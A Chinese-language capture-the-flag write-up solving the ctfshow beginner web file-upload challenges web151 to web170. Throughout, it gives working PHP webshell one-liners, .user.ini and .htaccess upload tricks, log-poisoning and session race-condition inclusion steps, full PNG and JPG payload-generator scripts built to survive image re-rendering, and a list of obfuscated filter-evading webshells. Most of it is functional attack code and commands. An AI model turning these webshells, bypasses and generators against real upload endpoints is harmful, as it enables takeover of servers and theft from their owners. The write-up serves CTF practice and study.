1. 程式人生 > 其它 >ctfshow web入門檔案上傳

ctfshow web入門檔案上傳

web151

上傳一個png的一句話木馬,並用bp抓包

找到木馬路徑upload/shell.php

關閉bp,觀察檔案是否上傳成功,上傳成功後會返回上傳路徑

檔案上傳成功後,直接訪問upload/shell.php

shell=system('tac ../f*');

web152

與上一題做法一樣

web153

先看一下原始碼,php檔案上傳不了,可以傳png檔案

php.ini是php的一個全域性配置檔案,對整個web服務起作用;而.user.ini和.htaccess一樣是目錄的配置檔案,.user.ini就是使用者自定義的一個php.ini,我們可以利用這個檔案來構造後門和隱藏後門。
但是這種方式其實是有個前提的,因為.user.ini只對他同一目錄下的檔案起作用,也就是說,只有他同目錄下有php檔案才可以。

配置檔案內容:

auto_prepend_file=filename      //包含在檔案頭
auto_append_file=filename       //包含在檔案尾
//filename是你自己的檔名
為了利用auto_append_file,我們首先上傳.user.ini內容為 auto_append_file=“xxx” xxx為我們上傳的檔名,接著上傳一個帶木馬的圖片
因為upload有index.php,所以這個php就會新增一個include(“shell.png”),就會包含到木馬,這樣就在每個php檔案上包含了我們的木馬檔案。

檔案內容:

.user.ini.png
內容:  auto_prepend_file="shell.png"
shell.png 
<?php @eval($_POST['shell']);?>

開始做題

先上傳.user.ini.png檔案,並抓包,修改名稱:.user.ini

放包

再上傳圖片馬

放包

成功上傳

訪問/upload/

post傳入引數shell=system('tac ../flag.php');

找到flag

web154

與web153一樣再來一遍,發現.user.ini檔案能上傳,但是上傳圖片馬上傳不成功

應該是過濾了php

可以試試短標籤

可用使用<?=(表示式)?>進行繞過,<?=(表示式)?>  等價於 <?php echo (表示式)?> //無限制
圖片內容為
<?=eval($_POST[1]);?> 
1=system('tac ../flag.php');

web155

同154

web156

這次估計是過濾了[]

可以把[]換為{},同154

<?=eval($_POST{1});?> 

上傳成功

繼續同154

web157.158

在前面的基礎上過濾了;在短標籤裡可以不要;

直接懟

<?=system('tac ../f*')?>

直接訪問/upload/

web159

這裡是將()給ban了,我們採用反引號來執行命令,即

<?=`tac ../f*`?>
或
<?=`cat ../f*`?>

web160

這題在之前的基礎上過濾了空格

先說第一種做法

Nginx日誌的預設路徑:

/var/log/nginx/

先正常上傳.user.ini檔案(注意裡面不要有空格),然後上傳圖片,圖片內容為

<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被過濾)
然後講一句話寫進user-agent裡,再蟻劍連線,獲取flag

然後連線蟻劍

url+upload/index.php

或者將UA改為

<?php system('tac ../f*');?>

然後直接訪問/upload/

第二種

還是先上傳.user.ini,再上傳圖片,圖片內容為

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

然後直接訪問/upload/,進行base64解碼就行

web161

getimagesize(): 會對目標檔案的16進位制去進行一個讀取,去讀取頭幾個字串是不是符合圖片的要求

這道題對圖片的檔案頭進行了檢測!
所以在上題的基礎上都加個 GIF89a 圖片頭就可以了
.user.ini也得加,圖片也得加,上題的兩種方法都可以

GIF89a

web162.163

這題把flag和.給ban了,使用seesion檔案包含

先上傳.user.ini,內容為:

GIF89A
auto_append_file=/tmp/sess_hacker

還是先構造一個上傳seeeion檔案的包

<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

改Cookie:PHPSESSID=hacker

在123那裡寫入內容

<?php system('tac ../f*');?>

訪問upload/目錄,目錄下有index.php檔案,即相當於在index.php檔案中執行include /tmp/sess_hacker

對兩個包進行有效載荷的設定

執行緒搞到25

開始競爭,先爆post包,再爆get的包

成功競爭後得到flag

web164

考點是png圖片二次渲染

二次渲染
將一個正常顯示的圖片,上傳到伺服器。尋找圖片被渲染後與原始圖片部分對比仍然相同的資料塊部分,將Webshell程式碼插在該部分,然後上傳。具體實現需要自己編寫Python程式,人工嘗試基本是不可能構造出能繞過渲染函式的圖片webshell的。
大佬連結:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

首先只能上傳png檔案

上傳圖片馬,發現沒有辦法執行

在bp上發現圖片中php程式碼沒有了,猜測是進行了二次渲染

繞過二次渲染的png指令碼:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的圖片的路徑
 
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的圖片的路徑,1.png是使用的檔案,可以不存在
//會在目錄下自動建立一個1.png圖片
//圖片指令碼內容:$_GET[0]($_POST[1]);
//使用方法:例子:檢視圖片,get傳入0=system;post傳入tac flag.php
 
?>
------------------------------------
           建立1.png圖片成功!      
------------------------------------

指令碼儲存為 png二次渲染.php ,進入指令碼所在目錄,執行命令

php png二次渲染.php c.png
//c.png可以換成任何名字

建立成功後,生成一個圖片檔案1.png

上傳該圖片

檢視圖片並傳入命令:

&0=system
1=tac f*

使用ctrl+s將圖片下載下來,記事本開啟即可

web165

這題改成了:jpg二次渲染

繞過二次渲染的jpg指令碼:

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
 
    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

指令碼儲存為 jpg二次渲染.php,進入指令碼目錄,執行命令

php jpg二次渲染.php a.jpg

會在該目錄下生成一個payload_a.jpg,其內容為:

這個指令碼會自動把一句話寫進圖片中

在題中上傳圖片,上傳成功後,檢視圖片,然後進行POST傳參

1=system('tac f*');

抓包後,發到Repeater模組中,就可以找到flag了(沒成功,成功率比較低)

web166

檢視原始碼,發現只能傳zip檔案

直接上傳一句話,用bp抓包

注意:有時候會出錯,是因為
要改一下MIME型別:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed

上傳成功:

上傳成功後,提示可以下載

說明已經上傳成功

點選下載檔案並進行抓包,發現域名已經變了

返回上傳檔案的頁面,用hackbar傳入命令,將域名改為抓的包上面的域名,並POST寫入命令

1=system("cat ../f*");die();
//如果不使用die()那麼就會直接下載檔案不會顯示內容,原因是因為這個Content-Type: application/x-zip-compressed

得到flag

web167

只能上傳jpg檔案

照之前上傳.user.ini檔案的方法做,結果一訪問/upload卻找不到檔案,說明原來的/upload/index.php檔案沒有了,但是注意頁面發現伺服器是Apache

關於.htaccess 和.user.ini 配置檔案
https://www.dazhuanlan.com/vip_mmles/topics/1547397

.htaccess 是 Apache 的配置檔案,不過相當於一個區域性配置檔案,只對該檔案所在目錄下的檔案起作用。

姿勢:

先上傳一個jpg檔案,抓包修改名稱為.htaccess

檔案內容為:

AddType application/x-httpd-php .jpg   //將.jpg字尾的檔案解析 成php
或者
SetHandler application/x-httpd-php    //將所有檔案都解析為 php 檔案

再上傳一句話的jpg檔案

下載圖片,POST傳參

1=system('tac ../f*');

web168

需要上傳png檔案

嘗試上傳一句話,發現返回為空

說明被過濾了

嘗試後發現過濾了eval,和system,$_POST $_GET等等

下面是另外的免殺程式碼:

指令碼1:
<?=`$_REQUEST[1]`;?>    //利用反引號執行系統命令
 
指令碼2:
<?php
$a=$_REQUEST['a']; 
$b=$_REQUEST['b'];
$a($b);
?> 
 
//a=system&b=tac ../flagaa.php
 
指令碼3:
<?php $a='syste'.'m';($a)('ls ../');    //拼接
 
//把ls ../換成tac ../flagaa.php即可找到flag
 
指令碼4:
<?php 
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相當於system,給1賦值引數即可
 
指令碼5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
 
指令碼6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
 
 
指令碼7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#數字函式  get傳參   abs=system&acos=tac ../flagaa.php

姿勢:

上傳上面任意指令碼,修改後綴,可以看到成功上傳

直接點下載檔案是不行的,為404

因為我們上傳檔案的位置是/upload/資料夾下

所以我們訪問的url應該加上/upload/上傳的檔名

最後找到flag

1=ls ../    //可以一級一級的嘗試
1=tac ../flagaa.php

flag.php檔案裡面沒有東西

web169

需要上傳zip檔案

但zip的檔案上傳不上

後端檢查了MIME,只能為image/png

所以抓包需要修改MIME type為image/png!!!!!!//注意改

發現可以成功上傳

嘗試之後發現也對檔案內容進行了過濾:<>?空格$等等

但檔名可以修改為.user.ini和php

因為過濾,一句話上傳不了,所以可以用.user.ini進行日誌包含,即在UA頭寫入一句話

姿勢:

先上傳.user.ini檔案,內容為auto_append_file=/var/log/nginx/access.log

auto_append_file=/var/log/nginx/access.log
這裡是利用nginx日誌路徑包含
這樣就可以往UA裡寫入一句話了

image/png

然後上傳一個php檔案

image/png

UA頭為:<?=eval($_POST[1]);?> 

開啟下載檔案,注意url為/upload/1.php

這說明一句話已經傳上,然後進行POST傳參就行了

1=system("ls ../");
1=system("tac ../flagaa.php");

web170

上傳zip檔案

與上一題一樣,需要加一個檔案頭

.user.ini
內容:
GIF89A
auto_append_file=/var/log/nginx/access.log

image/png
1.php
內容隨意

image/png

UA頭為:<?=eval($_POST[1]);?> 
1=system("ls ../");
1=system("tac ../flagaa.php");

總結:

.user.ini  不僅僅用於apache伺服器,但要求上傳目錄下有一個php檔案
.htaccess   只適用於apache伺服器,沒有檔案的要求,可指定解析任意檔案